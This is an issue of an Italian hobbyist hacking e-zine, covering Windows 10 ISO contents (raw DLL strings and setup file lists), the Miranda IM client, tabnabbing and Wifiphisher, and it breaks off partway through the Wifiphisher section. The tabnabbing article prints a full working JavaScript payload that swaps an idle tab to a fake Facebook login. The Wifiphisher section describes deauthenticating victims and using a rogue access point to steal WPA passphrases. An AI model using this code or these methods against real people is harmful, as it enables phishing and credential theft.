StartX vol 3

Transcript

StartX vol 3
Siate liberi
Bentornati a leggere StartX, vi starete chiedendo
perché non e uscita nei scorsi mesi la rivista, purtroppo non sempre si ha
la possibilità di scrivere....
Perciò questo speciale StartX sarà ricchissimo di contenuti, perché la
redazione di StartX recupererà ciò che non e stato scritto in questi ultimi 3
mesi, buona lettura
Cose successo ultimamente?
Ultimamente sono successe tante cose, dal' uscita del iphone 6
la messa online del sito della pyrossoftware, la sospensione di italianhack
l'uscita di windows 10, ai ultimi attacchi informatici e i relativi arresti
i bianchi vanno a scuola
dove gli insegnano come diventare
persone importanti,
e tutti fanno
cosa vien loro detto di fare
e nessuno vuole
finire in prigione!
Cit. The clash -White Riot
INDICE
-Windows 10 yes/no
E uscito di recente il nuovo windows 9, ops volevo dire 10, ma perché si chiama 10? cosa di
nuovo?
-mirand IM
-tabnabbing si va a pesca
Quante volte aprite miriadi di schede nel vostro browser, e vi ritrovate la pagina facebook di login,
mah non avevate acceduto prima?
-Ps4 webkit exploit
Finalmente gli hacker bucano la ps4!
-Keylogger che passione
-I vip tremavano con icloud
Sei un vip? Sei una modella? Carichi le tue foto xxx su icloud?
Molto bene, datto che ci sei carica anche un bel video, cosi poi lo si condivido tramite i tracker
torrent
-riflessioni sulla psicologia hacker
Windows 10 yes/no?
Windows 10, dalle prime immagini sembra che la casa microsoft abbia
corretto la rotta presa con windows 8, e stato rimesso il menu start, pero
non tornerà allo stile windows 7, sara piu che altro un ibrido tra windows
7 e 8, microsoft ha gia annunciato che sarà pienamente personalizzabile
E stato migliorato anche il multi tasking, con la funzione task view che
permetterà di visualizzare i vostri desktop attivi contemporaneamente,
anche Aero Snap ritorna sulla piazza rinnovato, permettendo ora di
prellevare screenshot da quattro finestre contemporaneamente.
Microsoft ha anche annuciato che il passaggio da windows 8 a windows
10, non come il passaggio tra windows 7 a 8
Andiamo ora ad esplorare dentro l' iso, aprendola si notano subito 4
cartelle 3 file ed 1 eseguibile.
Tra queste cartelli si trova efi (cartella che contiene il nostro amato uefi
boot)
dentro la cartella boot, si trova la cartella dei font, ed gli applicativi di
boot, ed gestione memoria
Passiamo ora alla cartella piu succulenta, la cartella nominata sources
Essa contiena tutte le dll fondamentali del sistema
tra le cartelle che sono dentro sources
troviamo: dimanifests,en-us,
etwproviders,inf,migration,
replacementmanifest , sxs
ed per finire le cartelle vistsa e XP
cartelle vista e XP?
Cosa ci fa vista in windows 10, mah
sopratutto cosa ci fa XP
tutte e due le cartelle contengono un solo
file chiamato: webservices.dll *(apri dll)
Bene incominciamo a smontare la dll webservices
aprendolo si vede questo:
andando avanti troviamo anche:
“
Fatal internal error, ReasonCode: 0x%08x
Fa t a l API u s a g e e rr o r , Re as o n C o d e: 0 x % 0 8 x
NULL
t.com/ws/2006/02/transactionssFaultMustUnderstandrolerelayCodeReasonTextNodeRoleDetailValueSubcodeNotUnderstoodqnameFromFaultToEndp
ointReferencePortTypeServiceNamePortNameReferencePropertiesRelationshipTypeReplyahttp://schemas.xmlsoap.org/ws/2006/02/addressingidentity
IdentitySpnUpnRsaDnsX509v3Certificatehttp://www.w3.org/2005/08/addressing/faultReferenceParametersIsReferenceParameterhttp://www.w3.org/
2005/08/addressing/replyhttp://www.w3.org/2005/08/addressing/noneMetadatahttp://schemas.xmlsoap.org/ws/2004/08/addressinghttp://schemas.xmls
oap.org/ws/2004/08/addressing/role/anonymoushttp://schemas.xmlsoap.org/ws/2004/08/addressing/faulthttp://schemas.xmlsoap.org/ws/2004/06/addr
essingexRedirectToViahttp://www.w3.org/2001/10/xml-excc14n#PrefixListInclusiveNamespacesecSecurityContextTokenGenerationLabelOffsetPropertiesCookiewschttp://schemas.xmlsoap.org/ws/2004/04/sch
ttp://schemas.xmlsoap.org/ws/2004/04/security/sc/dkhttp://schemas.xmlsoap.org/ws/2004/04/security/sc/scthttp://schemas.xmlsoap.org/ws/2004/04/se
curity/trust/RST/SCThttp://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCTRenewNeededBadContextTokenchttp://schemas.xmlsoap.org/
ws/2005/02/sc/dkhttp://schemas.xmlsoap.org/ws/2005/02/sc/scthttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCThttp://schemas.xmlsoap.org/ws
/2005/02/trust/RSTR/SCThttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renewhttp://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Re
newhttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancelhttp://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancelhttp://www.w3.or
g/2001/04/xmlenc#aes128-cbchttp://www.w3.org/2001/04/xmlenc#kw-aes128http://www.w3.org/2001/04/xmlenc#aes192cbchttp://www.w3.org/2001/04/xmlenc#kw-aes192http://www.w3.org/2001/04/xmlenc#aes256-cbchttp://www.w3.org/2001/04/xmlenc#kwaes256http://www.w3.org/2001/04/xmlenc#des-cbchttp://www.w3.org/2000/09/xmldsig#dsa-sha1http://www.w3.org/2001/10/xml-excc14n#WithCommentshttp://www.w3.org/2000/09/xmldsig#hmac-sha1http://www.w3.org/2001/04/xmldsig-more#hmacsha256http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1http://www.w3.org/2001/04/xmlenc#ripemd160http://www.w3.org/2001/04/xmlenc#rsaoaep-mgf1phttp://www.w3.org/2000/09/xmldsig#rsa-sha1http://www.w3.org/2001/04/xmldsig-more#rsasha256http://www.w3.org/2001/04/xmlenc#rsa1_5http://www.w3.org/2000/09/xmldsig#sha1http://www.w3.org/2001/04/xmlenc#sha256http://www.w3.org/2001/04/xmlenc#sha512http://www.w3.
org/2001/04/xmlenc#tripledes-cbchttp://www.w3.org/2001/04/xmlenc#kwtripledeshttp://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wraphttp://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wraphttp://schemas.mi
crosoft.com/ws/2006/05/securitydnseoPasswordPasswordTextUsernameUsernameTokenBinarySecurityTokenEncodingTypeKeyIdentifierhttp://docs.o
asis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binaryhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wsssoap-message-security-1.0#HexBinaryhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Texthttp://docs.oasisopen.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifierhttp://docs.oasis-open.org/wss/oasis-wss-kerberos-tokenprofile-1.1#GSS_Kerberosv5_AP_REQhttp://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile1.1#GSS_Kerberosv5_AP_REQ1510http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile1.0#SAMLAssertionIDAssertionurn:oasis:names:tc:SAML:1.0:assertionhttp://docs.oasis-open.org/wss/oasis-wss-rel-token-profile1.0.pdf#licenseFailedAuthenticationInvalidSecurityTokenInvalidSecuritykSignatureConfirmationTokenTypehttp://docs.oasis-open.org/wss/oasis-wsssoap-message-security-1.1#ThumbprintSHA1http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeyhttp://docs.oasisopen.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile1.1#SAMLV1.1http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0http://docs.oasis-open.org/wss/oasis-wss-saml-tokenprofile-1.1#SAMLIDAUTHHASHRequestSecurityTokenResponseKeySizeRequestedTokenReferenceAppliesToAuthenticatorCombinedHashBinaryExchangeLifetimeRequested
SecurityTokenEntropyRequestedProofTokenComputedKeyRequestSecurityTokenRequestTypeContextBinarySecrethttp://schemas.xmlsoap.org/ws/20
05/02/trust/spnego
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnegowsthttp://schemas.xmlsoap.org/ws/2004/04/trusthttp://schemas.xmlsoap.org/ws/2004/04/security/
trust/RST/Issuehttp://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issuehttp://schemas.xmlsoap.org/ws/2004/04/security/trust/Issuehttp://sc
hemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKeyhttp://schemas.xmlsoa
p.org/ws/2004/04/security/trust/NonceKeyTypehttp://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKeyhttp://schemas.xmlsoap.org/ws/2004/04/tr
ust/PublicKeyClaimsInvalidRequestRequestFailedSignWithEncryptWithEncryptionAlgorithmCanonicalizationAlgorith
mComputedKeyAlgorithmUseKeyhttp://schemas.microsoft.com/net/2004/07/secext/WSSPNegohttp://schemas.microsoft.com/net/2004/07/secext/TLSNegothttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuehttp://schemas.xmlsoap.o
rg/ws/2005/02/trust/RSTR/Issuehttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKeyhttp://
schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1http://schemas.xmlsoap.org/ws/2005/02/trust/NonceRenewTargetCancelTargetRequestedTokenCa
ncelledRequestedAttachedReferenceRequestedUnattachedReferenceIssuedTokenshttp://schemas.xmlsoap.org/ws/2005/02/trust/Renewhttp://schemas.
xmlsoap.org/ws/2005/02/trust/Cancelhttp://schemas.xmlsoap.org/ws/2005/02/trust/PublicKeyAccessAccessDecisionAdviceAssertionIDAssertionIDR
eferenceAttributeAttributeNameAttributeNamespaceAttributeStatementAttributeValueAudienceAudienceRestrictionConditionAuthenticationInstantA
uthenticationMethodAuthenticationStatementAuthorityBindingAuthorityKindAuthorizationDecisionStatementBindingConditionConditionsDecision
DoNotCacheConditionEvidenceIssueInstantIssuerLocationMajorVersionMinorVersionNameIdentifierFormatNameQualifierNamespaceNotBeforeNot
OnOrAftersamlStatementSubjectSubjectConfirmationSubjectConfirmationDataConfirmationMethodurn:oasis:names:tc:SAML:1.0:cm:holder-ofkeyurn:oasis:names:tc:SAML:1.0:cm:sendervouchesSubjectLocalityDNSAddressIPAddressSubjectStatementurn:oasis:names:tc:SAML:1.0:am:unspecifiedxmlnsResourceUserNameurn:oasis:na
mes:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedNameEmailNameurn:oasis:names:tc:SAML:1.1:nameidformat:emailAddressuChannelInstancehttp://schemas.microsoft.com/ws/2005/02/duplexEncodingMimeTypeCarriedKeyNameRecipientEncryptedKe
yKeyReferenceehttp://www.w3.org/2001/04/xmlenc#Elementhttp://www.w3.org/2001/04/xmlenc#ContentKeyNameMgmtDataKeyValueRSAKeyVal
ueModulusExponentX509DataX509IssuerSerialX509IssuerNameX509SerialNumberX509CertificateAckRequestedhttp://schemas.xmlsoap.org/ws/20
05/02/rm/AckRequestedAcksToAcceptCreateSequencehttp://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceCreateSequenceRefusedCreateSeq
uenceResponsehttp://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponseFaultCodeInvalidAcknowledgementLastMessagehttp://schemas.
xmlsoap.org/ws/2005/02/rm/LastMessageLastMessageNumberExceededMessageNumberRolloverNacknetrmOfferrSequenceFaultSequenceTerminate
dTerminateSequencehttp://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequenceUnknownSequencehttp://schemas.microsoft.com/ws/2006/02/tx/o
letxoletxOleTxTransactionPropagationTokenhttp://schemas.xmlsoap.org/ws/2004/10/wscoorwscoorCreateCoordinationContextCreateCoordinationCo
ntextResponseCoordinationContextCurrentContextCoordinationTypeRegistrationServiceRegisterRegisterResponseProtocolIdentifierCoordinatorProt
ocolServiceParticipantProtocolServicehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContexthttp://schemas.xmlsoap.org/ws/200
4/10/wscoor/CreateCoordinationContextResponsehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/Registerhttp://schemas.xmlsoap.org/ws/2004/10/ws
coor/RegisterResponsehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/faultActivationCoordinatorPortTypeRegistrationCoordinatorPortTypeInvalidSt
ateInvalidProtocolInvalidParametersNoActivityContextRefusedAlreadyRegisteredhttp://schemas.xmlsoap.org/ws/2004/10/wsatwsathttp://schemas.x
mlsoap.org/ws/2004/10/wsat/Completionhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PChttp://schemas.xmlsoap.org/ws/2004/10/w
sat/Volatile2PCPreparePreparedReadOnlyCommitRollbackCommittedAbortedReplayhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Commithttp://sche
mas.xmlsoap.org/ws/2004/10/wsat/Rollbackhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Committedhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Ab
ortedhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Preparehttp://schemas.xmlsoap.org/ws/2004/10/wsat/Preparedhttp://schemas.xmlsoap.org/ws/2004/
10/wsat/ReadOnlyhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Replayhttp://schemas.xmlsoap.org/ws/2004/10/wsat/faultCompletionCoordinatorPort
TypeCompletionParticipantPortTypeCoordinatorPortTypeParticipantPortTypeInconsistentInternalStatemstxEnlistmentprotocolLocalTransactionIdIsol
ationLevelIsolationFlagsDescriptionLoopbackRegisterInfoContextIdTokenIdAccessDeniedInvalidPolicyCoordinatorRegistrationFailedTooManyEnlis
tmentsDisabledActivityIdhttp://schemas.microsoft.com/2004/09/ServiceModel/Diagnosticshttp://docs.oasis-open.org/wss/oasis-wss-kerberos-tokenprofile1.1#Kerberosv5APREQSHA1http://schemas.xmlsoap.org/ws/2002/12/policyFloodMessageLinkUtilityHopshttp://schemas.microsoft.com/net/2006/0
5/peer/HopCountPeerViahttp://schemas.microsoft.com/net/2006/05/peerPeerFlooderPeerTohttp://schemas.microsoft.com/ws/2005/05/routingPacketR
outablehttp://schemas.microsoft.com/ws/2005/05/addressing/nonehttp://schemas.microsoft.com/ws/2005/05/envelope/nonehttp://www.w3.org/2001/X
MLSchemainstancehttp://www.w3.org/2001/XMLSchemaniltypecharbooleanbyteunsignedByteshortunsignedShortintunsignedIntlongunsignedLongfloatdoublede
cimaldateTimestringbase64BinaryanyTypedurationguidanyURIQNametimedatehexBinarygYearMonthgYeargMonthDaygDaygMonthintegerpositiveI
ntegernegativeIntegernonPositiveIntegernonNegativeIntegernormalizedStringConnectionLimitReachedhttp://schemas.xmlsoap.org/soap/envelope/act
orfaultcodefaultstringfaultactordetail
“
ora andiamo ad aprire il file \sources\inf\setup.cfg
al suo interno leggiamo:
[SetupFiles]
actionqueue.dll
adfscomp.dll
admtv3check.dll
alert.gif
api-ms-win-downlevel-advapi32-l1-1-0.dll
api-ms-win-downlevel-advapi32-l1-1-1.dll
api-ms-win-downlevel-advapi32-l2-1-0.dll
api-ms-win-downlevel-advapi32-l2-1-1.dll
api-ms-win-downlevel-advapi32-l3-1-0.dll
api-ms-win-downlevel-advapi32-l4-1-0.dll
api-ms-win-downlevel-kernel32-l1-1-0.dll
api-ms-win-downlevel-kernel32-l2-1-0.dll
api-ms-win-downlevel-ole32-l1-1-0.dll
api-ms-win-downlevel-ole32-l1-1-1.dll
api-ms-win-downlevel-shlwapi-l1-1-0.dll
api-ms-win-downlevel-shlwapi-l1-1-1.dll
api-ms-win-downlevel-user32-l1-1-0.dll
api-ms-win-downlevel-user32-l1-1-1.dll
api-ms-win-downlevel-version-l1-1-0.dll
appcompat.xsl
appcompat_detailed.xsl
appcompat_bidi.xsl
appcompat_detailed_bidi.xsl
appcompat_detailed_txt.xsl
appcompat_detailed_bidi_txt.xsl
appraiser.sdb
autounattend.xml
clustercompliance.dll
cmisetup.dll
cmiv2.dll
compliance.ini
compres.dll
coverage.dll
cversion.ini
diager.dll
diagnostic.dll
drvmgrtn.dll
du.dll
fveupg.dll
hwcompat.dll
hwcompat.txt
hwexclude.txt
hypervcomplcheck.dll
iiscomp.dll
input.dll
itgtupg.dll
lang.ini
license.rtf
locale.nls
migisol.dll
migtestplugin.dll
ndiscompl.dll
nlsbres.dll
noupgrade.txt
ntdsupg.dll
ntfrsupg.dll
pidgenx.dll
pkeyconfig.xrm-ms
pnpibs.dll
product.ini
rdsupgcheck.dll
rmsupg.dll
schema.dat
sdbapiu.dll
segoeui.ttf
setup.cfg
setup.exe
shdocvw.dll
smiengine.dll
spflvrnt.dll
spprgrss.dll
spwizeng.dll
spwizimg.dll
spwizres.dll
sqmapi.dll
testplugin.dll
uddicomp.dll
unattend.dll
unbcl.dll
migres.dll
migcore.dll
migstore.dll
upgcompat.inf
upgdriver.dll
upgloader.dll
upgreport.dll
uxlib.dll
uxlibres.dll
vofflps.rtf
w32uiimg.dll
w32uires.dll
warning.gif
wdsclient.dll
wdsclientapi.dll
wdscore.dll
wdsupgcompl.dll
wdsutil.dll
win32ui.dll
winsetup.dll
wmicmiplugin.dll
xmllite.dll
[SetupFolders]
??-??\
inf\
Migration\
[ConXSetupFiles]
acres.dll
api-ms-win-core-apiquery-l1-1-0.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
api-ms-win-downlevel-advapi32-l1-1-1.dll
api-ms-win-downlevel-advapi32-l2-1-0.dll
api-ms-win-downlevel-advapi32-l2-1-1.dll
api-ms-win-downlevel-advapi32-l3-1-0.dll
api-ms-win-downlevel-advapi32-l4-1-0.dll
api-ms-win-downlevel-kernel32-l1-1-0.dll
api-ms-win-downlevel-kernel32-l2-1-0.dll
api-ms-win-downlevel-ole32-l1-1-0.dll
api-ms-win-downlevel-ole32-l1-1-1.dll
api-ms-win-downlevel-shlwapi-l1-1-0.dll
api-ms-win-downlevel-shlwapi-l1-1-1.dll
api-ms-win-downlevel-user32-l1-1-0.dll
api-ms-win-downlevel-user32-l1-1-1.dll
api-ms-win-downlevel-version-l1-1-0.dll
appraiser.dll
appraiser.sdb
cmi2migxml.dll
compatctrl.dll
compatprovider.dll
compatResources.dll
csiagent.dll
cversion.ini
db_MSFTproductionWindowsSigningCA.cer
diager.dll
diagnostic.dll
diagtrack.dll
diagtrackrunner.exe
dismapi.dll
dismcore.dll
dismcoreps.dll
dismprov.dll
drvmgrtn.dll
du.dll
ext-ms-win-advapi32-encryptedfile-l1-1-0.dll
folderprovider.dll
globalinstallorder.xml
hwcompat.dll
hwcompat.txt
hwcompatPE.txt
hwexclude.txt
hwexcludePE.txt
imagingprovider.dll
Install.exe
InstallPrep.exe
lang.ini
license.rtf
logprovider.dll
mxeagent.dll
migapp.xml
migcore.dll
mighost.exe
migisol.dll
migres.dll
migstore.dll
migsys.dll
noupgrade.txt
offline.xml
oscomps.xml
oscomps.woa.xml
osfilter.inf
OutOfBox_Windows_db.bin
pid.txt
pidgenx.dll
pkeyconfig.xrm-ms
PostRollback.exe
nxquery.inf
nxquery.sys
reagent.admx
reagent.dll
reagent.xml
reportgen.dll
sdbapiu.dll
setupcompat.dll
setupplatform.cfg
setupplatform.dll
setupplatform.exe
setupresume.exe
sflistw7.dat
sflistw8.dat
sflistw8.woa.dat
sflistwb.dat
sflistwb.woa.dat
sfcn.dat
sflcid.dat
sfpat.inf
sfpatpg.inf
sfpatw7.inf
sfpatw8.inf
sfpatwb.inf
spwizimg.dll
sqmapi.dll
testplugin.dll
unattend.dll
unbcl.dll
upgcompat.inf
upgrade_bulk.xml
upgrade_data.xml
upgrade_frmwrk.xml
upgradeagent.dll
upgradeagent.xml
upgWow_bulk.xml
vhdprovider.dll
wdsclientapi.dll
wdscore.dll
wdscsl.dll
wdsimage.dll
wdsutil.dll
wdstptc.dll
wimprovider.dll
wpx.dll
xmllite.dll
[ConXSetupFolders]
*-*\
dlmanifests
replacementmanifests\
Vista\
XP\
Migration\
[Setup360Files]
api-ms-win-core-apiquery-l1-1-0.dll
api-ms-win-downlevel-advapi32-l1-1-0.dll
api-ms-win-downlevel-advapi32-l1-1-1.dll
api-ms-win-downlevel-advapi32-l2-1-0.dll
api-ms-win-downlevel-advapi32-l2-1-1.dll
api-ms-win-downlevel-advapi32-l3-1-0.dll
api-ms-win-downlevel-advapi32-l4-1-0.dll
api-ms-win-downlevel-kernel32-l1-1-0.dll
api-ms-win-downlevel-kernel32-l2-1-0.dll
api-ms-win-downlevel-ole32-l1-1-0.dll
api-ms-win-downlevel-ole32-l1-1-1.dll
api-ms-win-downlevel-shlwapi-l1-1-0.dll
api-ms-win-downlevel-shlwapi-l1-1-1.dll
api-ms-win-downlevel-user32-l1-1-0.dll
api-ms-win-downlevel-user32-l1-1-1.dll
api-ms-win-downlevel-version-l1-1-0.dll
diager.dll
diagnostic.dll
diagtrack.dll
diagtrackrunner.exe
du.dll
ext-ms-win-advapi32-encryptedfile-l1-1-0.dll
lang.ini
MediaSetupUiMgr.dll
reagent.admx
reagent.dll
reagent.xml
SetupCore.dll
SetupHost.exe
SetupMgr.dll
setupplatform.cfg
setupplatform.dll
setupplatform.exe
sqmapi.dll
unattend.dll
unbcl.dll
wdsclientapi.dll
wdscore.dll
wdscsl.dll
wdsimage.dll
wdstptc.dll
wdsutil.dll
WinDlp.dll
wpx.dll
Interessante anche il contenuto della cartella \sources\migration\wtr
al cui interno troviamo il file adminpack_en-us.inf
in cui interno troviamo:
[WTR]
Name="Administration Pack for IIS 7.0"
Name="Pack d'administration IIS 7.0"
Name="Administration Pack para IIS 7.0"
Name="Administration Pack für IIS 7.0"
[WTR.W8]
NotifyUser="No"
[System.File]
"%SystemDrive%\Windows\Migration\WTR\ [MSIISAdminPack70.inf]"
[System.Gac]
"[Microsoft.Web.Management.AdminPack.Client,*]"
"[Microsoft.Web.Management.AdminPack.Server,*]"
"[Microsoft.Web.Management.AdminPack.Client.resources,*]"
"[Microsoft.Web.Management.AdminPack.Server.resources,*]"
[System.Registry]
"HKLM\SOFTWARE\Microsoft\IIS Extensions\AdminPack\* [*]"
Troviamo anche il file adobe_flash
[WTR]
Name="Adobe Flash for Windows"
[WTR.W8]
NotifyUser="No"
[System.File]
"%windir%\System32\Macromed\Flash\* [*.ocx]"
"%windir%\System32\Macromed\Flash\* [*activex*]"
"%windir%\SysWow64\Macromed\Flash\* [*.ocx]"
"%windir%\SysWow64\Macromed\Flash\* [*activex*]"
[System.Registry]
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe
Flash Player ActiveX\* [*]"
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\
Uninstall\Adobe Flash Player ActiveX\* [*]"
"HKLM\SOFTWARE\Macromedia\FlashPlayerActiveX\* [*]"
"HKLM\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerActiveX\*
[*]"
"HKLM\SOFTWARE\Microsoft\Internet Explorer\Low
Rights\ElevationPolicy\[*]"
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low
Rights\ElevationPolicy\ [*]"
"HKLM\SOFTWARE\Microsoft\Internet Explorer\Low
Rights\ElevationPolicy\ [*]"
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low
Rights\ElevationPolicy\ [*]"
Quindi tirando le somme.....
e ancora troppo presto per giudicare windows 10, sicuramente prima o
poi windows 10 ritornera su StartX, perche noi ci fidiamo di microsoft
[by afr0]
miranda im
Cose miranda ???
miranda e un instant messanger, open source (GNU GPL)
Che protocolli supporta miranda?
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
–
AIM
Battle.net
Boujour
C6
XMPP
Google talk
Facebook
Fetion
Gadu-Gadu
ICQ
IAX
IRC
MSN
QQ
Skype
Spinchat
Tlen
Twitter
Vkontakte
Walla
Xfire
Yahoo
Miranda sembra davvero interessante, mah sul lato plugin?
Miranda e conosciuto per avere centinaia di plugin, basti guardare la
sezzione addons presente nel menu del sito, non solo anche gli stessi
plugin sono multilingua
Si ma sicuramente questo software andra ad occupare molto spazzio sul
mio Hard Disk!?
No miranda e conosciuto per essere un software leggero al tal punto da
poter essere tenuto in una usb, in piu miaranda e estremamente flessibile
cio vuol dire che la potrai personalizzare a tuo piacimento
E invece per usarlo devo leggere un manuale?
Anche in questo caso la risposta e no, e un software di facilissimo utilizzo,
basti pensare che la maggior parte dei plugin si installano semplicemente
copiando il plugin.dll e incollarlo nella cartella Plugins
Questi sono alcuni screen di miranda im
[by afr0]
tabnabbing, si ritorna a pesca
Il tabnabbing e una tecnica di phishing intelligente.
L'internauta moderno ormai e abituato ad aprire piu tab (pagine)
il tabnabbing non fa altro che sfruttatere questa abitudine per prellevare
Come funziona?
Si fa prire un link alla vittima, e fin qui e un classico.
Una volta fatto cio la pagina cambia d'aspetto nel momento in cui l'utente
la lascera aperta per visitarne un 'altro tab .
Il nuovo aspetto sara in tutto e per tutto uguale a quello di una pagina
d'acesso ad i servizzi in cui vengono richiesti username e password.
L'a vittima infatti tornando sul tab non ricordera che prima era un altra
pagina e lascera piu volentieri i suoi dati in mano al pirata
Esempio pratico
Qui di sotto e riportato un semplice esempio, la pagina originale e google
andando il altri tab per un po di tempo la pagina diventa una pagina
facebook
<html>
<head>
<title>
</title>
</head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>
<script type="text/javascript">
//----------Set Script Options-------------var REAL_PAGE_URL = "http://www.google.com/";
var REAL_PAGE_TITLE = "Google";
var FAKE_PAGE_URL = "http://www.facebook.com";
var FAKE_PAGE_TITLE = "Hacked";
var REAL_FAVICON = "http://www.google.com/favicon.ico";
var FAKE_FAVICON = "http://www.facebook.com/favicon.ico";
var TIME_TO_SWITCH_IE = "4000";
var TIME_TO_SWITCH_OTHERS = "10000";
//---------------End Options----------------var TIMER = null;
var SWITCHED = "false";
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSER_TYPE = "Internet Explorer";
}
document.title=REAL_PAGE_TITLE;
if(REAL_FAVICON){
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON;
document.getElementsByTagName('head')[0].appendChild(link);
}
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);
el_tabnab.focus();
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser
el_tabnab.onblur = function(){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
}
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}
function TabNabIt(){
if(SWITCHED == "false"){
el_tabnab.src=FAKE_PAGE_URL;
FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;
if(BROWSER_TYPE != "Internet Explorer"){
var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
document.getElementsByTagName("head")[0].removeChild(looplink);
}
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON;
document.getElementsByTagName("head")[0].appendChild(link);
}
}
}
</script>
</body>
</html>
Come proteggersi?
Un buon metodo sarebbe usare massimo 3 tab alla volta, e quando si
naviga disconettersi dagli account in uso
mah in alternativa per i piu sbadati che usano firefox c'e un estensione
chiamata: Noscript, e un estentione blocca sia gli attacchi basati su
javascript sia quelli perpetrati senza l'uso di script, sfruttando il meta
refresh, impedendo ai tab inattivi di modificare l'indirizzo della pagina
Web.
[by afr0]
SI PESCA ANCHE NEL WIRELESS
Se pensavate che si potesse pescare solo password online vi sbagliate!
Ebbene si esiste un software per fare degli attacchi di phishing per rubare
le pasword wifi con un semplice trucco di social engieniering
Ma andiamo a parlare di wifiphish, Wifiphisher è uno strumento di
sicurezza che monta attacchi di phishing veloce automatici contro le reti
WiFi per ottenere passphrase segreti e altre credenziali. Si tratta di un
attacco di ingegneria sociale che a differenza di altri metodi che non
include alcun bruta forzatura. Si tratta di un modo semplice per ottenere
le credenziali da portali captive e le pagine di accesso di terzi o WPA /
WPA2 passphrase segreti.
Wifiphisher funziona su Kali Linux ed è autorizzato sotto la licenza MIT.
Dal punto di vista della vittima, l'attacco si avvale in tre fasi:
Vittima è deauthenticated dal suo punto di accesso.
Wifiphisher marmellate continuamente tutti i dispositivi WiFi del
punto di accesso di destinazione nel raggio d'azione inviando
pacchetti deauth al cliente dal punto di accesso, al punto di accesso
dal client, e per l'indirizzo di broadcast pure.
Vittima unisce un punto di accesso rogue.
Wifiphisher annusa l'area e le copie delle impostazioni del punto di
accesso di destinazione. Si crea quindi un punto di accesso wireless
non autorizzato che si modella sul bersaglio. Essa stabilisce inoltre
un / server DHCP NAT e inoltra le porte giuste. Di conseguenza, a
causa del disturbo, i clienti potranno iniziare a connetterti al punto
di accesso rogue. Dopo questa fase, la vittima è MiTMed.
Vittima viene servita una pagina-config cercando router realistico.
wifiphisher avvale di un server web minimale che risponde a HTTP e
HTTPS. Non appena la vittima richiede una pagina da Internet,
wifiphisher risponderà con una pagina falsa realistica che richiede
le credenziali, ad esempio, uno che chiede la conferma della
password WPA a causa di un aggiornamento del firmware del router.
Vediamone i comandi da dare una volta che ci si apre il software in
questione
-m
massimo
Scegliere il numero massimo di client per deauth. Elenco dei clienti sarà
